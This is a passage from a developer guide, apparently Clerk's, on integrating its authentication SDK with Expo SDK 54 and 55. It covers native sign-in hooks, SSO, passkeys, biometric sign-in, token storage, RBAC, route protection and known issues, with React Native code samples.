[`@clerk/expo` v3.1.0](https://github.com/clerk/javascript/blob/main/packages/expo/CHANGELOG.md) added explicit Expo SDK 55 support by updating its peer dependency to `expo: >=53 <56`. All three authentication approaches are confirmed working:

- **Approach 1** (JavaScript custom flows): Fully supported
- **Approach 2** (JavaScript + native hooks): Fully supported
- **Approach 3** (Native components): Supported in beta

The New Architecture is fully compatible with `@clerk/expo`. TurboModules and the Fabric renderer work without issues.

**Known limitation:** `@clerk/expo-passkeys` v1.0.13 declares a peer dependency of `expo: >=53 <55`, which **excludes Expo SDK 55**. Passkeys are not formally supported on SDK 55. No updated version or timeline has been announced as of April 2026. See the [Known Issues and Limitations](#known-issues-and-limitations) section for details.

Several open GitHub issues affect SDK 55 users. See the [Known Issues and Limitations](#known-issues-and-limitations) section for current status.

### New Architecture Impact on Clerk Authentication

The mandatory New Architecture in SDK 55 requires **no action from Clerk users**. The `@clerk/expo` package uses `expo-modules-core` for native module integration, which supports the New Architecture by default.

Clerk's native components use JSI-based TurboModules for JavaScript-to-native communication. The Fabric renderer is fully compatible — no rendering issues have been reported.

[React Native 0.83](https://reactnative.dev/blog/2025/12/10/react-native-0.83) introduced the option to compile out Legacy Architecture code entirely by setting `RCT_REMOVE_LEGACY_ARCH=1`. This produces approximately 20% faster iOS builds and approximately 6% smaller app size. This optimization is compatible with Clerk.

TurboModules also improve performance for Clerk operations by lazy-loading native modules on demand rather than eagerly loading them at startup, which reduces cold-start memory usage.

## Expo Go vs. Development Builds

### What Works in Expo Go

[Expo Go](https://expo.dev/go) supports **Approach 1 only** — JavaScript custom flows. The following features work in Expo Go:

- Email/password sign-in and sign-up
- Phone verification (OTP)
- Magic links
- [Session management](/glossary/session-management): `useAuth()`, `useUser()`, `useSession()`
- Conditional rendering: `<Show when="signed-in">`, `<Show when="signed-out">`
- Loading states: `<ClerkLoaded>`, `<ClerkLoading>`
- Token caching with `expo-secure-store`
- [Organizations](/glossary/organizations), [RBAC](/glossary/role-based-access-control-rbac), and [user management](/glossary/user-management) hooks

The following features **do not work** in Expo Go: social OAuth (`useSSO()`), native Google Sign-In, native Apple Sign-In, native components, passkeys, and biometric sign-in. Expo Go cannot register custom URL schemes (required for OAuth redirects) and cannot load custom native modules.

### What Requires a Development Build

A [development build](https://docs.expo.dev/develop/development-builds/introduction/) is required for:

- **Social OAuth** via `useSSO()` — custom URL scheme redirect required
- **Native Google Sign-In** via `useSignInWithGoogle`
- **Native Apple Sign-In** via `useSignInWithApple`
- **Native components** (`<AuthView />`, `<UserButton />`, `<UserProfileView />`)
- **Passkeys** via `@clerk/expo-passkeys`
- **Biometric sign-in** via `useLocalCredentials`
- **Custom URL scheme registration** for deep linking

### Choosing the Right Environment

| Scenario                            | Recommended Environment |
| ----------------------------------- | ----------------------- |
| Prototyping with email/password     | Expo Go                 |
| Testing basic Clerk integration     | Expo Go                 |
| Social login (Google, GitHub, etc.) | Development Build       |
| Native Google or Apple Sign-In      | Development Build       |
| Using native components             | Development Build       |
| Production deployment               | Development Build       |
| Passkeys or biometric auth          | Development Build       |

Start with Expo Go for initial setup and email/password flows. Switch to a development build when adding social or native authentication.

**Two ways to create a development build:**

- **Local build** (`npx expo run:ios` / `npx expo run:android`): Compiles using locally installed Xcode (iOS, macOS only) or Android Studio. Best for rapid iteration — rebuilds only changed native code on subsequent runs. No EAS account required. Note: a paid [Apple Developer Program membership ($99/year)](https://developer.apple.com/programs/) is effectively required for Apple Sign-In entitlement configuration, Associated Domains (needed for passkeys), and App Store distribution.
- **[EAS Build](https://docs.expo.dev/eas/)** (`eas build --profile development`): Builds on remote EAS servers with no local native tooling required. Can build iOS from Windows or Linux. Handles credential management (certificates, provisioning profiles) automatically. Best for team builds, CI/CD, and distribution.

A new development build is required whenever native configuration changes (adding a URL scheme, passkey support, native sign-in, or plugins). JavaScript-only changes load via the dev server without rebuilding.

> \[!NOTE]
> Expo Go is [not recommended for production apps](https://expo.dev/go). This is Expo's own guidance.

## Authentication Methods in Detail

### Native Google Sign-In

Native Google Sign-In provides a platform-native credential picker on both iOS and Android, with no browser redirect:

- **iOS:** Uses ASAuthorization — the system credential picker that appears natively
- **Android:** Uses [Credential Manager](/glossary/credential-management-api) — a system bottom sheet with one-tap support

**Prerequisites:**

1. A development build (does not work in Expo Go)
2. **Clerk Dashboard:** Register your native app — Team ID + Bundle ID for iOS, package name + SHA-256 fingerprint for Android
3. **Google Cloud Console:** Create OAuth 2.0 credentials — an iOS Client ID, an Android Client ID, and a Web Application Client ID (the web client is required even for native apps)
4. **Environment variables:** `EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID`, `EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID` (iOS), `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` (iOS)
5. Add the `@clerk/expo` plugin to `app.json` (see [Plugin Configuration](#url-scheme-and-expo-plugin-configuration))
6. Install peer dependency: `expo-crypto`

> \[!WARNING]
> **Android SHA-256 fingerprint mismatch** is a common pitfall. Three different fingerprints exist: the debug keystore fingerprint, the EAS managed keystore fingerprint (get it via `eas credentials -p android`), and the Google Play App Signing key fingerprint (find it in Release > Setup > App Signing in the Play Console). Register the correct fingerprint for each environment in the Clerk Dashboard.

```tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { Pressable, Text } from 'react-native'

export function GoogleSignInButton() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()

  const onPress = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId) {
        await setActive({ session: createdSessionId })
      }
    } catch (err) {
      console.error('Google sign-in error:', err)
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Google</Text>
    </Pressable>
  )
}
```

For detailed setup instructions including Google Cloud Console configuration, see [Configure native Google Sign-In for Expo](/docs/expo/guides/configure/auth-strategies/sign-in-with-google).

### Native Apple Sign-In

Native Apple Sign-In uses Apple's authentication UI on iOS. It is **iOS only** — the hook returns `null` on non-iOS platforms. If your app offers social sign-in alongside another provider (e.g., Google), Apple may require "Sign in with Apple" for App Store approval.

Native Apple Sign-In supports Apple's Hide My Email privacy feature automatically.

**Prerequisites:**

1. A development build
2. Install peer dependencies: `expo-apple-authentication`, `expo-crypto`
3. **Clerk Dashboard:** Register App ID Prefix (Team ID) + Bundle ID

When using native components, Apple Sign-In is automatically available in `<AuthView />` when Apple is enabled in the Clerk Dashboard. For a custom UI, use the `useSignInWithApple` hook:

```tsx
import { useSignInWithApple } from '@clerk/expo/apple'
import { Platform, Pressable, Text } from 'react-native'

export function AppleSignInButton() {
  const signInWithApple = useSignInWithApple()

  if (!signInWithApple || Platform.OS !== 'ios') return null

  const onPress = async () => {
    try {
      const { createdSessionId, setActive } = await signInWithApple.startAppleAuthenticationFlow()

      if (createdSessionId) {
        await setActive({ session: createdSessionId })
      }
    } catch (err) {
      console.error('Apple sign-in error:', err)
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Apple</Text>
    </Pressable>
  )
}
```

For detailed configuration, see [Configure native Apple Sign-In for Expo](/docs/expo/guides/configure/auth-strategies/sign-in-with-apple).

### Browser-Based SSO

`useSSO()` opens the system browser for OAuth and enterprise SSO flows. It replaces the deprecated `useOAuth()` hook — all new code should use `useSSO()`.

The browser experience uses ASWebAuthenticationSession on iOS and Chrome Custom Tabs on Android. `useSSO()` supports [31+ social providers](/docs/authentication/social-connections/overview) (Google, GitHub, Discord, LinkedIn, and more) as well as enterprise SSO protocols ([SAML](/glossary/security-assertion-markup-language-saml), [OIDC](/glossary/openid-connect), EASIE).

**`useSSO()` requires a development build.** Expo Go cannot register custom URL schemes, which are required for the post-authentication redirect back to the app.

Key parameters:

- `strategy`: `'oauth_<provider>'` for social login, or `'enterprise_sso'` for enterprise SSO
- `identifier`: Required for enterprise SSO to identify the connection
- `redirectUrl`: Generated via `AuthSession.makeRedirectUri()`

```tsx
import { useSSO } from '@clerk/expo'
import * as AuthSession from 'expo-auth-session'
import * as WebBrowser from 'expo-web-browser'
import { Pressable, Text, Platform } from 'react-native'
import { useEffect } from 'react'

export function SSOSignInButton() {
  const { startSSOFlow } = useSSO()

  useEffect(() => {
    // Warm up the browser on Android for faster opening
    if (Platform.OS === 'android') {
      void WebBrowser.warmUpAsync()
      return () => {
        void WebBrowser.coolDownAsync()
      }
    }
  }, [])

  const onPress = async () => {
    try {
      const { createdSessionId, setActive } = await startSSOFlow({
        strategy: 'oauth_google',
        redirectUrl: AuthSession.makeRedirectUri(),
      })

      if (createdSessionId) {
        await setActive({ session: createdSessionId })
      }
    } catch (err) {
      console.error('SSO error:', err)
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Google (Browser)</Text>
    </Pressable>
  )
}
```

Browser-based SSO offers broader provider support than native sign-in but trades UX polish for compatibility — users see a browser redirect rather than a system credential picker. For Google and Apple, native sign-in hooks provide a more seamless experience.

### Passkeys

Clerk supports native passkeys in Expo via the `@clerk/expo-passkeys` package. Passkeys use [WebAuthn](/glossary/webauthn) to provide phishing-resistant, [passwordless](/glossary/passwordless-login) authentication bound to the device and domain.

- **Create a passkey:** `user.createPasskey()`
- **Sign in with a passkey:** `signIn.authenticateWithPasskey()`

**Platform requirements:**

- iOS 16+ with Associated Domains entitlement
- Android 9+ with a **physical device** (emulators are not supported)
- Maximum 10 passkeys per account, domain-locked

> \[!WARNING]
> **Expo SDK 55 limitation:** `@clerk/expo-passkeys` v1.0.13 declares a peer dependency of `expo: >=53 <55`, which **does not include Expo SDK 55**. No updated version or timeline has been announced as of April 2026. Installing with `--legacy-peer-deps` is a workaround but is not officially recommended. Check the [npm package page](https://www.npmjs.com/package/@clerk/expo-passkeys) for updated versions before relying on passkeys with SDK 55.

> \[!IMPORTANT]
> **Android emulators do not support passkeys.** This is a platform-level limitation of Android's Credential Manager implementation, not a restriction from Clerk. Clerk's official documentation states: "Passkeys will not work with Android emulators. You must use a physical device."

**iOS configuration** requires adding associated domains to `app.json`:

- `applinks:<FAPI_URL>` and `webcredentials:<FAPI_URL>`
- Set `ios.deploymentTarget: "16.0"` via the `expo-build-properties` plugin
- Register App ID Prefix + Bundle ID in the Clerk Dashboard under Native Applications

**Android configuration** requires intent filters with `autoVerify: true` in `app.json`, pointing to your Clerk FAPI domain. Clerk hosts the `assetlinks.json` file on the FAPI domain — configure it via the Clerk Dashboard (Native Applications > Android), not self-hosted. Register the package name and SHA-256 fingerprints for each build environment.

```tsx
// In your root layout, configure ClerkProvider with passkeys
import { ClerkProvider } from '@clerk/expo'
import { passkeys } from '@clerk/expo-passkeys'
import { tokenCache } from '@clerk/expo/token-cache'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
      __experimental_passkeys={passkeys}
    >
      {/* Your app */}
    </ClerkProvider>
  )
}
```

In a sign-in component, authenticate with a passkey:

```tsx
import { useSignIn } from '@clerk/expo'
import { Pressable, Text } from 'react-native'

export function PasskeySignIn() {
  const { signIn, setActive } = useSignIn()

  const onPress = async () => {
    try {
      const result = await signIn!.authenticateWithPasskey()
      await setActive({ session: result.createdSessionId })
    } catch (err) {
      console.error('Passkey sign-in error:', err)
    }
  }

  return (
    <Pressable onPress={onPress}>
      <Text>Sign in with Passkey</Text>
    </Pressable>
  )
}
```

Passkeys remain experimental, as indicated by the `__experimental_passkeys` prop name. For detailed configuration including iOS Associated Domains and Android intent filters, see [Configure passkeys for Expo](/docs/reference/expo/passkeys).

### Biometric Sign-In

The [`useLocalCredentials` hook](/changelog/2024-08-21-expo-local-credentials) from `@clerk/expo/local-credentials` enables returning users to sign in using Face ID, Touch ID, or fingerprint authentication. It works by storing the user's password credentials securely on the device after their initial sign-in, then retrieving and auto-submitting them after biometric verification.

**Requirements:**

- `@clerk/expo` v2.2.0 or later
- `expo-local-authentication` v13.5.0 or later
- Password-based sign-in strategy enabled (does not work with OAuth-only accounts)
- Device must have enrolled biometrics and a passcode
- Development build required

The hook provides these key properties and methods:

- `hasCredentials`: Whether saved credentials exist on this device
- `userOwnsCredentials`: Whether the saved credentials belong to the current user
- `biometricType`: `'face-recognition'`, `'fingerprint'`, or `null`
- `setCredentials()`: Save the current user's password after initial sign-in
- `clearCredentials()`: Remove saved credentials
- `authenticate()`: Trigger biometric prompt and sign in

Credentials are automatically deleted if the device passcode is removed.

```tsx
import { useLocalCredentials } from '@clerk/expo/local-credentials'
import { useSignIn } from '@clerk/expo'
import { Pressable, Text } from 'react-native'

export function BiometricSignIn() {
  const { hasCredentials, biometricType, authenticate, setCredentials } = useLocalCredentials()
  const { signIn, setActive } = useSignIn()

  if (hasCredentials && biometricType) {
    return (
      <Pressable
        onPress={async () => {
          try {
            const { createdSessionId } = await authenticate()
            if (createdSessionId) {
              await setActive({ session: createdSessionId })
            }
          } catch (err) {
            console.error('Biometric auth failed:', err)
          }
        }}
      >
        <Text>Sign in with {biometricType === 'face-recognition' ? 'Face ID' : 'Fingerprint'}</Text>
      </Pressable>
    )
  }

  // After a successful password sign-in, offer to save credentials
  // by calling setCredentials() to store for future biometric sign-in
  return null
}
```

For complete setup instructions, see [Configure biometric sign-in for Expo](/docs/reference/expo/native-hooks/use-local-credentials).

## Native Components (Beta)

Clerk's native components were [released in beta on March 9, 2026](/changelog/2026-03-09-expo-native-components) as part of `@clerk/expo` v3.1.0. They render fully native UI — SwiftUI on iOS and Jetpack Compose on Android — and automatically handle all authentication methods enabled in the Clerk Dashboard.

**Three components are available:**

- **`<AuthView />`** — Complete sign-in and sign-up UI. Accepts a `mode` prop: `"signIn"`, `"signUp"`, or `"signInOrUp"`.
- **`<UserButton />`** — Avatar that opens a native profile modal on tap. Fills its parent container.
- **`<UserProfileView />`** — Inline profile management for email, phone, [MFA](/glossary/multi-factor-authentication-mfa), passkeys, sessions, and connected accounts.

**Requirements:**

- Expo SDK 53 or later
- Development build
- `@clerk/expo` plugin in `app.json`

**Plugin options** in `app.json`:

- `appleSignIn` (boolean, default `true`): Enable Apple Sign-In entitlement
- `keychainService` (string): Custom keychain service identifier
- `theme` (string): Path to a JSON file for visual customization

**Additional hooks** for native components:

- `useUserProfileModal()`: Programmatically open the profile modal
- `useNativeSession()`: Access native session state
- `useNativeAuthEvents()`: Listen for native authentication events

> \[!IMPORTANT]
> When using native components with route guards, pass `{ treatPendingAsSignedOut: false }` to `useAuth()` to prevent session desynchronization during initialization.

```tsx
import { AuthView } from '@clerk/expo/native'
import { Show } from '@clerk/expo'
import { View } from 'react-native'

export function AuthScreen() {
  return (
    <Show when="signed-out">
      <View style={{ flex: 1 }}>
        <AuthView mode="signInOrUp" />
      </View>
    </Show>
  )
}
```

Known bugs fixed in v3.1.10: iOS OAuth failure from the forgot password screen, Android stuck on "Get help" after sign-out, and a white flash on iOS mount. Approach 1 and Approach 2 remain the production-stable alternatives.

## Token Management and Secure Storage

### Token Caching with expo-secure-store

By default, Clerk stores session tokens in memory. This means tokens are lost when the app restarts, requiring the user to sign in again. For production apps, use `expo-secure-store` to persist tokens in encrypted storage.

The `@clerk/expo/token-cache` subpath provides a built-in wrapper around `expo-secure-store`. This was [introduced in `@clerk/expo` v2.19.0](https://github.com/clerk/javascript/blob/main/packages/expo/CHANGELOG.md) (November 2025), so you no longer need to write the boilerplate manually.

Import `tokenCache` and pass it to `<ClerkProvider>`:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

Platform behavior differences:

- **iOS:** Uses Apple Keychain. Data persists across app reinstalls if the bundle ID remains the same.
- **Android:** Uses Keystore with encrypted SharedPreferences. Data is deleted on app uninstall.

Some iOS releases enforce an approximately 2,048-byte limit per Keychain item. Clerk's session tokens (60-second expiry JWTs) are well within this limit.

### Experimental Offline Support

Clerk provides experimental offline support via the `__experimental_resourceCache` prop on `<ClerkProvider>`. This caches Clerk resources to secure storage and returns cached tokens when the network is unavailable.

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { resourceCache } from '@clerk/expo/resource-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
      __experimental_resourceCache={resourceCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

In Core 3, `getToken()` behavior changed for offline scenarios:

- **Offline:** `getToken()` throws `ClerkOfflineError` (instead of returning `null` as in Core 2)
- **Not signed in:** `getToken()` returns `null`

Clerk exposes two different error types for offline scenarios, depending on the context:

**Token retrieval (`getToken()`):** Use `ClerkOfflineError.is(error)` with code `'clerk_offline'`. This is thrown when `getToken()` fails after exhausting retries while offline.

```typescript
import { ClerkOfflineError } from '@clerk/react/errors'

try {
  const token = await getToken()
} catch (error) {
  if (ClerkOfflineError.is(error)) {
    // error.code === 'clerk_offline'
    // Use cached data or show offline UI
  }
}
```

**Custom flows (`signIn.create()`, `signUp.create()`, etc.):** Use `isClerkRuntimeError(err)` with `code === 'network_error'`. When `__experimental_resourceCache` is set on `<ClerkProvider>`, it automatically enables `experimental.rethrowOfflineNetworkErrors`, which surfaces network errors from custom authentication flows as catchable `ClerkRuntimeError` instances.

```typescript
import { isClerkRuntimeError } from '@clerk/expo'

try {
  await signIn.create({ strategy: 'password', identifier, password })
} catch (err) {
  if (isClerkRuntimeError(err) && err.code === 'network_error') {
    // Network request failed — show offline UI or retry
  }
}
```

This feature is experimental and subject to change. It requires `expo-secure-store`.

## User Management and Organizations

### User Profile Access

The `useUser()` hook provides access to the current user's data — name, email addresses, phone numbers, profile image, and metadata. Use it to read and update [user profile](/glossary/user-profile) information in your Expo app.

Clerk provides three metadata tiers:

- **Public metadata:** Readable from the frontend and backend. Set from the backend only.
- **Private metadata:** Backend-only. Never exposed to the client.
- **Unsafe metadata:** Client-writable. Suitable for non-sensitive user preferences.

For a native profile management UI, the `<UserProfileView />` component (beta) provides self-service profile management including email, phone, MFA configuration, passkeys, active sessions, and connected accounts.

### Organizations and Multi-Tenant Support

Clerk [Organizations](/glossary/organizations) enable [multi-tenant](/glossary/multi-tenancy) functionality in Expo apps. The following hooks are available:

- **`useOrganization()`** — Access and manage the currently active organization
- **`useOrganizationList()`** — Access all organizations the user belongs to. Note: `userMemberships`, `userInvitations`, and `userSuggestions` are not populated by default — pass `true` or a configuration object to load them.
- **`useOrganizationCreationDefaults()`** — Suggested name and slug for new organizations

Switch between organizations programmatically via `setActive({ organization: orgId })` from the `useClerk()` hook. Create organizations via `createOrganization()`.

All organization hooks work identically in Expo as they do in web applications — they are the same React hooks from `@clerk/react`.

### Roles and Permissions

Clerk provides [role-based access control](/glossary/role-based-access-control-rbac) at the organization level:

- **Default [roles](/glossary/roles):** Admin (`org:admin`) and Member (`org:member`)
- **[Custom roles](/glossary/custom-roles):** [Up to 10 custom roles per instance](/docs/organizations/roles-permissions)
- **[Custom permissions](/glossary/custom-permissions):** Format `org:<feature>:<permission>` (e.g., `org:billing:manage`)

Use the `has()` helper from `useAuth()` to check roles and permissions:

```tsx
import { Show } from '@clerk/expo'
import { Text, View } from 'react-native'

export function TeamSettings() {
  return (
    <View>
      <Show when={{ permission: 'org:team_settings:manage' }}>
        <Text>Team Settings Panel</Text>
        {/* Team management UI */}
      </Show>

      <Show when={{ role: 'org:admin' }}>
        <Text>Admin-Only Actions</Text>
        {/* Admin controls */}
      </Show>

      <Show
        when={{ permission: 'org:billing:manage' }}
        fallback={<Text>Contact your admin for billing access.</Text>}
      >
        <Text>Billing Management</Text>
      </Show>
    </View>
  )
}
```

> \[!NOTE]
> **System permissions** are not included in [session token](/glossary/customizable-session-tokens) claims. Use custom permissions for client-side [authorization](/glossary/authorization) checks.

**Role Sets** ([launched January 2026](/changelog/2026-01-12-organization-role-sets)) are collections of roles assigned per organization. The Primary Role Set is free. Additional Role Sets require the Enhanced B2B Authentication add-on. Changes to a Role Set propagate automatically to all organizations using it.

Without an active organization set, all authorization checks via `has()` return `false`.

## Setting Up ClerkProvider for Expo

### Required Dependencies

Install the core dependencies using `npx expo install` to ensure SDK-compatible versions:

```bash
npx expo install @clerk/expo expo-secure-store
```

Additional dependencies based on which features you use:

| Feature               | Package                                    |
| --------------------- | ------------------------------------------ |
| Social OAuth / SSO    | `expo-auth-session`, `expo-web-browser`    |
| Native Google Sign-In | `expo-crypto`                              |
| Native Apple Sign-In  | `expo-apple-authentication`, `expo-crypto` |
| Development builds    | `expo-dev-client`                          |
| Biometric sign-in     | `expo-local-authentication`                |
| Passkeys              | `@clerk/expo-passkeys`                     |

Install all at once for a full-featured setup:

```bash
npx expo install @clerk/expo expo-secure-store expo-auth-session expo-web-browser expo-crypto expo-apple-authentication expo-dev-client
```

### ClerkProvider Configuration

The `<ClerkProvider>` component must wrap your entire Expo app. The `publishableKey` prop is required in Core 3.

Create a `.env` file with your publishable key from the [Clerk Dashboard](https://dashboard.clerk.com/last-active?path=api-keys):

```
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your-key-here
```

Configure the root layout (`app/_layout.tsx`):

```tsx
import { ClerkProvider, ClerkLoaded } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

  if (!publishableKey) {
    throw new Error('EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY is not set')
  }

  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <ClerkLoaded>
        <Slot />
      </ClerkLoaded>
    </ClerkProvider>
  )
}
```

The `<Show>` component conditionally renders content based on authentication state:

- `<Show when="signed-in">` — Visible only to authenticated users
- `<Show when="signed-out">` — Visible only to unauthenticated users
- `<Show when={{ role: 'org:admin' }}>` — Visible only to users with a specific role
- `<Show when={{ permission: 'org:billing:manage' }}>` — Visible only to users with a specific permission

> \[!IMPORTANT]
> `<Show>` only **conditionally renders** its children on the client. The component code and data remain in the JavaScript bundle. For true route protection, use the strategies described in [Route Protection with Expo Router](#route-protection-with-expo-router).

### URL Scheme and Expo Plugin Configuration

**URL Scheme (required for OAuth/SSO):**

The `scheme` property in `app.json` is required for `useSSO()` and any browser-based OAuth flow. Without it, OAuth redirects complete but cannot pass information back to the app — the user must manually dismiss the browser.

**Expo Plugin (required for Approach 2 and Approach 3):**

Add both the scheme and the `@clerk/expo` plugin to your `app.json`:

```json
{
  "expo": {
    "scheme": "your-app-scheme",
    "plugins": [
      [
        "@clerk/expo",
        {
          "appleSignIn": true
        }
      ]
    ]
  }
}
```

The `@clerk/expo` plugin automatically adds:

- **iOS:** clerk-ios SDK, URL scheme for native Google Sign-In
- **Android:** clerk-android SDK, Credential Manager support

The plugin is **not needed** if you are only using Approach 1 (JavaScript custom flows).

After changing `scheme` or plugin configuration, rebuild your development build. The redirect URL (e.g., `your-app-scheme://callback`) must be allowlisted in the Clerk Dashboard.

> \[!CAUTION]
> Never use the deprecated `auth.expo.io` proxy for OAuth redirects.

### Route Protection with Expo Router

The `<Show>` component is for **conditional UI rendering only** — it does not protect routes. Three strategies are available for true route protection. All work identically on SDK 54 and SDK 55.

**Strategy 1: Layout guard with `<Redirect>` (Clerk's documented pattern)**

Use `useAuth()` in a route group's `_layout.tsx` and return `<Redirect>` before rendering `<Stack>` for unauthenticated users:

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function ProtectedLayout() {
  const { isLoaded, isSignedIn } = useAuth()

  if (!isLoaded) return null

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return <Stack />
}
```

This prevents child routes from ever mounting for unauthenticated users.

**Strategy 2: `Stack.Protected` with guard (Expo Router built-in)**

Available since Expo Router v5 (SDK 53), `Stack.Protected` provides declarative access control with automatic redirect to the nearest accessible screen:

```tsx
import { useAuth } from '@clerk/expo'
import { Stack } from 'expo-router'

export default function AppLayout() {
  const { isSignedIn } = useAuth()

  return (
    <Stack>
      <Stack.Protected guard={!!isSignedIn}>
        <Stack.Screen name="dashboard" />
        <Stack.Screen name="profile" />
      </Stack.Protected>
      <Stack.Screen name="sign-in" />
    </Stack>
  )
}
```

`Stack.Protected` automatically cleans up navigation history for newly-protected screens. It is also available as `Tabs.Protected` and `Drawer.Protected`.

**Strategy 3: Programmatic redirect with `useEffect`** is an alternative that uses `useAuth()` + `useRouter()` + `useSegments()` in a `useEffect`. This is less preferred because it runs after mount, causing a brief flash of protected content. Use it only when redirect logic depends on complex conditions beyond authentication state.

Use Strategy 1 (layout guard) as the primary approach — it is Clerk's documented pattern. Use Strategy 2 for apps that want Expo Router's built-in history cleanup.

> \[!NOTE]
> When using native components, pass `{ treatPendingAsSignedOut: false }` to `useAuth()` in route guards to prevent premature redirects during session initialization.

## Production Deployment Considerations

Moving from development to production requires several configuration changes.

**Replace development credentials:** Development instances use `pk_test_` / `sk_test_` keys. Production instances use `pk_live_` / `sk_live_` keys. Create a production instance in the Clerk Dashboard — SSO connections, integrations, and path settings do not transfer from development.

**Register native apps** in the Clerk Dashboard under Native Applications:

- **iOS:** App ID Prefix (Team ID) + Bundle ID
- **Android:** Package name + SHA-256 fingerprints

**Allowlist redirect URLs** for OAuth security. Default pattern: `{bundleIdentifier}://callback`.

**Replace shared OAuth credentials:** Development environments provide pre-configured social provider credentials. Production requires your own OAuth app credentials registered in each provider's dashboard (Google Cloud Console, Apple Developer, etc.).

**EAS Build configuration:**

- SDK 54: Defaults to Xcode 26.0 on [EAS Build](https://docs.expo.dev/build-reference/infrastructure/)
- SDK 55: Defaults to Xcode 26.2 on EAS Build
- Use [EAS Secrets](https://docs.expo.dev/eas/) for `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY` and other sensitive values

**Domain configuration:** A custom domain is mandatory for production instances, even for mobile-only apps.

**`authorizedParties` configuration** is recommended on your backend to prevent [CSRF](/glossary/cross-site-request-forgery-csrf) attacks in production.

For complete deployment instructions, see [Deploy an Expo app with Clerk](/docs/guides/development/deployment/expo).

## Known Issues and Limitations

> \[!NOTE]
> Issues listed in this section are transient and may be resolved by the time you read this article. Check the [`@clerk/expo` GitHub issues tracker](https://github.com/clerk/javascript/issues?q=is%3Aopen+label%3Aexpo) for current status.

### Passkeys on Expo SDK 55

`@clerk/expo-passkeys` v1.0.13 declares a peer dependency of `expo: >=53 <55`. This formally excludes Expo SDK 55. No fix, pull request, or timeline has been announced as of April 2026. The underlying native passkey APIs (iOS Associated Domains, Android Credential Manager) did not change between SDK 54 and SDK 55, so the gap is a packaging constraint rather than a runtime incompatibility.

- **Workaround (unofficial):** Install with `--legacy-peer-deps`, or add an `overrides` field to `package.json` pinning `@clerk/expo-passkeys` to accept SDK 55. Neither is endorsed by Clerk and both bypass the peer dependency check without runtime guarantees.
- **Recommendation:** Check the [npm package page](https://www.npmjs.com/package/@clerk/expo-passkeys) for version updates before relying on passkeys with SDK 55. If passkeys are a launch requirement, staying on SDK 54 until an updated release ships is the safer path.

### Open GitHub Issues (as of April 2026)

- **[#8245](https://github.com/clerk/javascript/issues/8245):** `useAuth().isLoaded` permanently `false` in real and monorepo apps on SDK 55. Works in fresh apps but fails in complex project structures.
- **[#8265](https://github.com/clerk/javascript/issues/8265):** Session lost after Metro JS reload on Android (`@clerk/expo` v3.1.6+ regression from v2). iOS is unaffected.
- **[#8288](https://github.com/clerk/javascript/issues/8288):** `useSSO()` / `useOAuth()` dynamic import fails in monorepo and Bun setups under Metro. Silent error masking.
- **[#8149](https://github.com/clerk/javascript/issues/8149):** `getToken({ template })` throws `clerk_offline` error while `getToken()` without a template works. Blocks Convex integration.
- **[PR #8303](https://github.com/clerk/javascript/pull/8303):** Fix for background token refresh destroying sessions on iOS when the app is backgrounded (JavaScript event loop throttled).

### Native Components Beta Limitations

`<AuthView />`, `<UserButton />`, and `<UserProfileView />` are in beta. They are not available in Expo Go. Known bugs were fixed in v3.1.10 (iOS OAuth failure from forgot password screen, Android stuck state after sign-out, iOS white flash on mount). Approach 1 and Approach 2 are production-stable alternatives.

### General Limitations

- **Prebuilt web UI components** (`<SignIn />`, `<SignUp />`) are web-only and not available on native platforms. Use JavaScript custom flows (Approach 1) or native components (Approach 3) instead.
- **`useLocalCredentials()`** requires a password-based sign-in strategy. It does not work with OAuth-only accounts.
- **Android emulators** do not support passkeys. A physical device is required. This is a platform-level Credential Manager limitation.
- **iOS Keychain** data persists across reinstalls. **Android Keystore** data is deleted on uninstall. This behavioral difference affects token persistence.

## Compatibility Reference Table

The following table provides a comprehensive feature-by-feature compatibility matrix for Clerk with Expo.

| Feature                             | Expo Go | Dev Build | Expo 54 |    Expo 55   |
| ----------------------------------- | :-----: | :-------: | :-----: | :----------: |
| Email/password sign-in              |         |           |         |              |
| Phone verification (OTP)            |         |           |         |              |
| Magic links                         |         |           |         |              |
| Social OAuth (`useSSO`)             |         |           |         |              |
| Native Google Sign-In               |         |           |         |              |
| Native Apple Sign-In                |         |  iOS only |         |              |
| Native components (beta)            |         |           |         |              |
| Passkeys                            |         |           |         | Peer dep gap |
| Biometric sign-in                   |         |           |         |              |
| Token caching (`expo-secure-store`) |         |           |         |              |
| Offline support (experimental)      |         |           |         |              |
| Session management hooks            |         |           |         |              |
| `<Show>` component                  |         |           |         |              |
| Organizations / RBAC                |         |           |         |              |
| `<UserProfileView />`               |         |           |         |              |
